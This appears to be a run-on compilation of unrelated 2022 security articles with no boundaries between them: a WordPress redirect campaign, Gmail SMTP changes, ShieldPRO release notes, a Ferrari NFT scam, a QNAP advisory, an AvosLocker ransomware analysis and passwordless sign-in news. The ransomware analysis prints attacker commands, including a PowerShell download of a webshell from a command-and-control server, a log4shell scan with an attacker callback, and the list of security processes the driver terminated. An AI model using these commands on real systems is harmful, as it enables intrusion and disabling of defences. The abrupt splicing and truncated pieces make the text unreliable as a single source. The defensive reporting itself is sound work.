Our remediation and research teams regularly find malicious redirects on client sites. These infections automatically redirect site visitors to third-party websites with malicious resources, scam pages, or commercial websites with the intention of generating illegitimate traffic.
As outlined in our latest hacked website report, we’ve been tracking a long-lasting campaign responsible for injecting malicious scripts into compromised WordPress websites. This campaign leverages known vulnerabilities in WordPress themes and plugins and has impacted an enormous number of websites over the year — for example, according to PublicWWW, the April wave for this campaign was responsible for nearly 6,000 infected websites alone.
Since these PublicWWW results only show detections for simple script injections, we can assume that the scope is significantly larger.
Investigating Obfuscated JavaScript in WordPress Sites
We recently investigated a number of WordPress websites complaining about unwanted redirects. Interestingly enough, they were found to be related to a new wave of this massive campaign and were sending website visitors through a series of website redirects to serve them unwanted ads.
The websites all shared a common issue — malicious JavaScript had been injected within their website’s files and the database, including legitimate core WordPress files such as:
./wp-includes/js/jquery/jquery.min.js
./wp-includes/js/jquery/jquery-migrate.min.js
Once the website had been compromised, attackers had attempted to automatically infect any .js files with jQuery in the names. They injected code that begins with “/* trackmyposs*/eval(String.fromCharCode…”
However, it was clear that the attackers had taken some measures to evade detection and had obfuscated their malicious JavaScript with CharCode, as seen below.
Malicious JavaScript injection obfuscated with CharCode
Once deobfuscated, the true behavior of the injection emerged.
Deobfuscated malicious JavaScript redirects site visitors on page load
This JavaScript was appended under the current script or under the head of the page where it was fired on every page load, redirecting site visitors to the attacker’s destination.
Malicious Chain of Redirects
To accomplish these redirects, the malicious injection creates a new script element with the legendarytable[.]com domain as the source.
The code from the legendarytable[.]com domain then calls to a second external domain — local[.]drakefollow[.]com — which calls from links[.]drakefollow[.]com, redirecting the site visitor to one of many different domains including:
bluestringline[.]com
browntouchmysky[.]com
redstringline[.]com
whitetouchmysky[.]com
gregoryfavorite[.]space
gregoryfavorite[.]top
pushnow[.]net/
At this point, it’s a free for all. Domains at the end of the redirect chain may be used to load advertisements, phishing pages, malware, or even more redirects.
From a site visitor’s perspective, they’ll simply see the following malware page before landing on the final destination.
Malicious redirect landing page
This page tricks unsuspecting users into subscribing to push notifications from the malicious site. If they click on the fake CAPTCHA, they’ll be opted in to receive unwanted ads even when the site isn’t open — and ads will look like they come from the operating system, not from a browser.
These sneaky push notification opt-in maneuvers also happen to be one of the most common ways attackers display “tech support” scams, which inform users that their computer is infected or slow and they should call a toll-free number to fix the problem.
Detecting Malicious JavaScript via SiteCheck
Client-side redirects are initiated by the site visitors’ browser once the infected web page has been loaded. Since this particular infection is found client-side, remote website scanners like SiteCheck can help scan a website and identify this malware.
Here’s an example of a SiteCheck results page for this specific campaign.
SiteCheck results for malicious Javascript injection
At the time of writing, PublicWWW has reported 322 websites impacted by this new wave for the malicious drakefollow[.]com domain. Considering that this count doesn’t include obfuscated malware or sites that have not yet been scanned by PublicWWW, the actual number of impacted websites is likely much higher.
Conclusion & Mitigation Steps
Our team has seen an influx in complaints for this specific wave of the massive campaign targeting WordPress sites beginning May 9th, 2022, which has impacted hundreds of websites already at the time of writing.
It has been found that attackers are targeting multiple vulnerabilities in WordPress plugins and themes to compromise the website and inject their malicious scripts. We expect the hackers will continue registering new domains for this ongoing campaign as soon as existing ones become blacklisted.
If you believe that your website has been infected with malicious JavaScript or you have found unwanted redirects to spam or ads on your site, you can use our free remote website scanner to detect the malware.
Website owners who have identified malware on their website can leverage the instructions found in our hacked WordPress cleanup guide — and, as always, we’re happy to help clean up an infection if you need a hand.
Google has announced that it’s disabling the Less Secure Apps feature on some Google accounts from May 30th, 2022.
If you’re using Gmail SMTP details with our Other SMTP mailer, you may have difficulty sendingemails when this feature is disabled.
We know that many of our customers rely on Gmail to send emails from WordPress and we wanted to provide some information so that you can avoid deliverability problems.
What Is Less Secure Apps in Gmail?
Less Secure Apps is a feature in Gmail that allows software and devices to sign in to your Gmail account with your main Google username and password.
Up until now, it was possible to send emails through Gmail SMTP with this setting turned on.
Now, Google has decided to begin phasing out Less Secure Apps from May 30th, 2022. Google Workspace and Google Cloud Identity users won’t be affected right away, but support for Less Secure Apps will still be phased out for those users at a later date.
We’ve recommended app passwords for some time, but some customers have chosen to use Less Secure Apps since it’s a little more straightforward. Now that the feature is being retired, all users will need to switch to app passwords or use a different mailer.
How to Switch From Less Secure Apps
If you’re using WP Mail SMTP, here are the options available.
If you’d like to continue using the Other SMTP mailer in WP Mail SMTP, you can set up an app password in your Google account.
An app password works like an alternate password for your account. It can only be used by the applications you share it with, so it’s more secure than sharing your primary password.
Note: any time you change your main Google account password, it will deactivate your app passwords as well. If you change your password frequently, this may not be the best workaround.
Option 3: Switch to a New Mailer
If you’re not set on using Gmail, WP Mail SMTP has a ton of other mailers that use secure, API-based connections to send email from WordPress.
Our recommended mailers are listed at the top of the Setup Wizard.
Here are some more details on our top mailers:
SendLayer: Our #1 recommended mailer and one of the easiest mailers to use with WP Mail SMTP. Once you’ve added DNS records to your domain, all you need is an API key. You can start with a trial and send 500 emails for free, then upgrade to a paid plan from $5/ month (paid annually).
SMTP.com: Free for 30 days, then priced from $25/ month. SMTP.com is an industry leader and has a track record of great email deliverability dating back over 20 years.
Sendinblue: If you’re testing Gmail alternatives, Sendinblue could be a good choice. You can get started without a credit card and upgrade to a plan with more capacity when you’re ready.
To switch your mailer, head to your WP Mail SMTP settings and click the Launch Setup Wizard button.
The Setup Wizard will walk you through the connection steps.
If these mailers aren’t right for you, you can also send through Microsoft 365, SendGrid, Mailgun, Amazon SES, and many more secure, API-based email providers. Here’s a complete guide to all of our mailers to help you decide.
How to Get Help with WP Mail SMTP
We understand that making changes to your mailer can be challenging, but we’re here to help!
If you’re using any paid version, you can log in to your account and open a ticket. As a valued customer, you’ll get priority support when updating your mailer settings.
ShieldPRO 15.0 for WordPress is a major release. We’ve taken steps to improve the Shield Security Dashboard navigation menu and the Overview section UI making it much easier to secure your WordPress site by quickly identifying areas of improvement. Also, the original WordPress Admin Dashboard widget was pretty basic, so we’ve completely revamped it with some of your latest site activity. This guide outlines what have been added/removed, changed, or improved and what fixes we’ve made.
Firstly, we’re going to explain what major changes are made and which options you’d need to review.
New Added Features
For 15.0 release we added
Block Username Fishing option
This feature is now a Bot Signal which is recorded in the Activity Log and triggers offenses.
You can use this option to block the ability to discover WordPress usernames based on author IDs. When enabled, any URL requests containing “author=” will be killed.
This option is accessible from within WP Lockdown module > Obscurity:
The new Security Rules Engine is the new foundation of how Shield will handle security for nearly all WordPress requests. It’s accessible from within the main navigation menu > Tools section.
This article outlines what brought this about, what the Rules Engine is and does, and how it will inform future development and our approach to WordPress Security.
Changes
Change 1: All-New Security Overview page
We’ve broken up the plugin into 7 key areas and gathered configuration options and conditions of the site under each one. We give each component a weighted score and calculate an overall percentage.
You can see your score within each area and click “Analysis” to get a clear breakdown of what constitutes that score.
Example, Site Scanning area:
Change 2: All-New Dashboard WidgetSimilar to the Security Overview we offer some visibility to the workings of the Shield plugin right on the WordPress Dashboard, using the built-in widget area.Currently it shows your
security overview progress
recently blocked IPs
recent offending IPs
recent user sessions
jump links to key plugin areas
Change 3: New Template-Based Block Pages
When triggering the Shield defenses, Shield now provides a much more visitor-friendly block page that outlines exactly what’s happened. It’ll provide details of why the block occurred and what the visitor can do about it. Please see below examples of the new blocking pages.
General IP Blocking Page (non-logged in users)
General IP Blocking Page (logged in users)
Firewall Blocking Page
Username Fishing Blocking Page
Change 4: Audit Trail (now renamed to Activity Log) and Traffic Log: Direct access to the IP analysis
In the previous plugin release, when you click an IP address from within Audit Trail or Traffic Log, you were directed to the IP Analysis page in a separate tab.
Now, you can analyse IP directly from within Audit Trail (Activity Log) Traffic Log. Please see below examples.
We’ve completely removed the older, less reliable comment spam detection using Javascript and CAPTCHAs. Please use the newer AntiBot Detection Engine. Change 6: Option Removed: Auto-Filter Scan ResultsShield will now filter unnecessary scan results automatically.
This option can now be adjusted using a WP filter. Change 7: Deprecated: Options For CAPTCHA and GASP Bot Checking On WordPress Login FormsThe options to use CAPTCHA and/or GASP Bot Checking for WordPress Login SPAM has been deprecated. These options are replaced with the AntiBot Detection Engine and will be completely removed in a future release.
Change 8: Audit Trail Renamed to Activity Log
Improvements
For 15.0 release we’ve made the following improvements
Improved Plugin Navigation This release brings further enhancements in this area – the new dynamic page loading and smoother navigation.
Improved Visitor IP Source Detection We’ve built a Javascript utility which will determine your best visitor IP source. This should, hopefully, solve this problem of everyone going forward, even if your host is badly configured (there are many such hosts!).
Massive Performance Optimisations As part of our new approach to security with the Security Rules Engine, we’ve taken the opportunity to rip out legacy code and optimise many other areas. We’ve eliminated unnecessary MySQL queries and redesigned core components to be more efficient with how they store data.
New Filters: Adjust scanner notices about plugin/theme update/active status You can now use filters to adjust whether Shield warns about inactive plugins/themes or those with updates.
A New WP Filter To Add Custom Shield Template Directory If you’re looking to adjust some of our page templates, such as the block pages, you can now provide custom templates more easily using the new filter.
Option Removed: XML-RPC bypass option, under the General settings:
This option can now be adjusted using a WP filter.
Fixes
For 15.0 release, we’ve made the following fixes
15.0 release
Broken password reset links in some cases when using hidden login page
Help ensure forward compatibility for sites with newer TWIG libraries also installed
One of Ferrari’s subdomains was hijacked yesterday to host a scam promoting fake Ferrari NFT collection, according to researchers.
What makes the scam particularly interesting is the fact that the luxury carmaker had earlier announced plans to launch NFTs in partnership with tech firm Velas.
The Ethereum wallet associated with the cryptocurrency scam appears to have collected a few hundred dollars before the hacked subdomain was shut down.
Ferrari’s site featured ‘Mint your Ferrari’ crypto scam
On Thursday, ethical hacker and bug bounty hunter Sam Curry reported seeing one of Ferrari’s subdomains forms.ferrari.com hosting a fake NFT (Non-Fungible Token) scam.
An NFT, or Non-Fungible Token, is data stored on a cryptocurrency blockchain that a digital certificate has signed to prove that it is unique and cannot be copied.
Last year, Ferrari announced plans to launch NFT products in partnership with tech firm Velas, making this scam all very convincing.
The crypto scam titled “Mint your Ferrari” enticed visitors to buy NFT tokens, falsely touting that Ferrari introduced “a collection of 4,458 horsepower [sic] NFTs on the Ethereum network.”https://platform.twitter.com/embed/Tweet.html?creatorScreenName=BleepinComputer&dnt=false&embedId=twitter-widget-0&features=eyJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3R3ZWV0X3Jlc3VsdF9taWdyYXRpb25fMTM5NzkiOnsiYnVja2V0IjoidHdlZXRfcmVzdWx0IiwidmVyc2lvbiI6MX19&frame=false&hideCard=false&hideThread=false&id=1522037756754550784&lang=en&origin=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Fferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection%2F&sessionId=3ea6c8cb6e39f794149bacd26675e44783eff546&siteScreenName=BleepinComputer&theme=light&widgetsVersion=c8fe9736dd6fb%3A1649830956492&width=550px
Additional investigation by Curry and security engineer who goes by the moniker d0nutrevealed that attackers exploited an Adobe Exeprience Manager flaw to hack the subdomain and host their crypto scam.
“After looking a bit deeper… it seems this was an Adobe Experience Manager exploit. You can still find the remnants of the unhacked site by dorking around a bit,” wrote Curry.
BleepingComputer has reached out to Ferrari for comment before publishing and we await a response.
Over $800 collected before domain takedown
Keen-eyed Twitter user root@rebcesp observed the Ethereum wallet had collected a little over $800 of funds ever since the scam went up.https://platform.twitter.com/embed/Tweet.html?creatorScreenName=BleepinComputer&dnt=false&embedId=twitter-widget-1&features=eyJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3R3ZWV0X3Jlc3VsdF9taWdyYXRpb25fMTM5NzkiOnsiYnVja2V0IjoidHdlZXRfcmVzdWx0IiwidmVyc2lvbiI6MX19&frame=false&hideCard=false&hideThread=true&id=1522042363367112704&lang=en&origin=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fsecurity%2Fferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection%2F&sessionId=3ea6c8cb6e39f794149bacd26675e44783eff546&siteScreenName=BleepinComputer&theme=light&widgetsVersion=c8fe9736dd6fb%3A1649830956492&width=550px
The Ethereum wallet address associated with the scam is shown below, with the wallet balance having dropped today to approximately $130, as seen by BleepingComputer.0xD88e1C6EC0a2479258A6d2aB59D9Ae5F2874bC44
Thankfully, Etherscan has flagged the wallet address as reports emerged of suspicious activity linked to the wallet.
BleepingComputer observed the hacked Ferrari subdomain has now been taken down and throws an HTTP 403 error code:
Ferrari Forms subdomain shut down (BleepingComputer)
The mainstream attention garnered by NFTs can be attributed to their rapid adoption by artists selling their digital art for cryptocurrency at popular websites such as Rarible and OpenSea.
It’s tempting to dismiss these crypto scams thinking no one falls for them, but, similar crypto scams have been hugely successful and generated hundreds of thousands of dollars in the past.
QNAP, Taiwanese maker of network-attached storage (NAS) devices, on Friday released security updates to patch nine security weaknesses, including a critical issue that could be exploited to take over an affected system.
“A vulnerability has been reported to affect QNAP VS Series NVR running QVR,” QNAP said in an advisory. “If exploited, this vulnerability allows remote attackers to run arbitrary commands.”
Tracked as CVE-2022-27588 (CVSS score: 9.8), the vulnerability has been addressed in QVR 5.1.6 build 20220401 and later. Credited with reporting the flaw is the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC).
Aside from the critical shortcoming, QNAP has also resolved three high-severity and five medium-severity bugs in its software –
CVE-2021-38693 (CVSS score: 5.3) – A path traversal vulnerability in thttpd affecting QNAP devices running QTS, QuTS hero, QuTScloud, and QVR Pro Appliance, leading to information disclosure
CVE-2021-44054 (CVSS score: 4.3) – An open redirect vulnerability in QNAP devices running QTS, QuTS hero, and QuTScloud, making it possible to redirect users to a rogue web pages
We found samples of AvosLockerransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain
Figure 1. AvosLocker infection chain
According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:
Figure 2. The ADSS exploit abusing CVE-2021-40539
Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.Figure 4. HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Figure 5. Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Figure 6. Gather system information
The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7. Executed with the /domain argument to collect username informationFigure 8. query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9. The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.
Figure 10. Creating a new account with admin rightsFigure 11. Checking for anti-virus processes running
During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Figure 12. Terminating security products running
Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:
Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.
Figure 14. Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.
Figure 15. Detecting and deleting Mimikatz
We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.
Figure 16. Listing and terminating the security products found running in the compromised system
Verification: Manual replication of anti-virus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :
EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc
Figure 17. Searching for processes
We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Figure 18. Driver file preparing to disable an anti-virus product
The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19. DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.
Figure 23. Checking for log4shell
We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24. Running more system network configuration discovery scans
Deploying across the network
We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25. Deploying malicious batch scripts to other endpoints
The deployed batch script has the following commands:
Disable Windows Update and Microsoft Defender
Figure 26. Disable Microsoft defense services
Prevents safeboot execution of security products
Figure 27. Prevent security products’ execution
Create new administrator account
Figure 28. Create new account
Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29. Add Autostart for ransomware executable
Disables legal notice caption
Figure 30. Disable legal notice
Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31. Setting and disabling network and specific Windows functions
Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement:
“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.
The below example shows that the blocking works (output from the “sc start” command):
(SC) StartService FAILED 1275:
This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”
Did you know that May 5, 2022, is World Password Day?1 Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every second—nearly doubling in frequency over the past 12 months.2
But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.
Free yourself with passwordless sign-in
Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:
Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
Select Turn on.
Approve the notification from Authenticator.
Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.
Strengthen security with multifactor authentication
One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.
Make sure your password isn’t the weak link
Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.3 For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”
Some basics to remember—make sure your password is:
At least 12 characters long.
A combination of uppercase and lowercase letters, numbers, and symbols.
Not a word that can be found in a dictionary, or the name of a person, product, or organization.
Completely different from your previous passwords.
Changed immediately if you suspect it may have been compromised.
Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:
Only share personal information in real-time—in person or by phone. (Be careful on social media.)
Be skeptical of messages with links, especially those asking for personal information.
Be on guard against messages with attached files, even from people or organizations you trust.
Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
Ensure all the apps on your device are legitimate (only from your device’s official app store).
Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)
Passwordless authentication is becoming commonplace
As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.
In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:
Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.
These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.
The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.
“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.
The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.
The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”
It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attackstargetingwidely-used software to breach dozens of downstream vendors all at once.
According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”
“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”
Faster, easier and more secure sign-ins will be available to consumers across leading devices and platforms
Mountain View, California, MAY 5, 2022 – In a joint effort to make the web more secure and usable for all, Apple, Google and Microsoft today announced plans to expand support for a common passwordless sign-in standard created by the FIDO Alliance and the World Wide Web Consortium. The new capability will allow websites and apps to offer consistent, secure, and easy passwordless sign-ins to consumers across devices and platforms.
Password-only authentication is one of the biggest security problems on the web, and managing so many passwords is cumbersome for consumers, which often leads consumers to reuse the same ones across services. This practice can lead to costly account takeovers, data breaches, and even stolen identities. While password managers and legacy forms of two-factor authentication offer incremental improvements, there has been industry-wide collaboration to create sign-in technology that is more convenient and more secure.
The expanded standards-based capabilities will give websites and apps the ability to offer an end-to-end passwordless option. Users will sign in through the same action that they take multiple times each day to unlock their devices, such as a simple verification of their fingerprint or face, or a device PIN. This new approach protects against phishing and sign-in will be radically more secure when compared to passwords and legacy multi-factor technologies such as one-time passcodes sent over SMS.
An Expansion of Passwordless Standard Support
Hundreds of technology companies and service providers from around the world worked within the FIDO Alliance and W3C to create the passwordless sign-in standards that are already supported in billions of devices and all modern web browsers. Apple, Google, and Microsoft have led development of this expanded set of capabilities and are now building support into their respective platforms.
These companies’ platforms already support FIDO Alliance standards to enable passwordless sign-in on billions of industry-leading devices, but previous implementations require users to sign in to each website or app with each device before they can use passwordless functionality. Today’s announcement extends these platform implementations to give users two new capabilities for more seamless and secure passwordless sign-ins:
Allow users to automatically access their FIDO sign-in credentials (referred to by some as a “passkey”) on many of their devices, even new ones, without having to re-enroll every account.
Enable users to use FIDO authentication on their mobile device to sign in to an app or website on a nearby device, regardless of the OS platform or browser they are running.
In addition to facilitating a better user experience, the broad support of this standards-based approach will enable service providers to offer FIDO credentials without needing passwords as an alternative sign-in or account recovery method.
These new capabilities are expected to become available across Apple, Google, and Microsoft platforms over the course of the coming year.
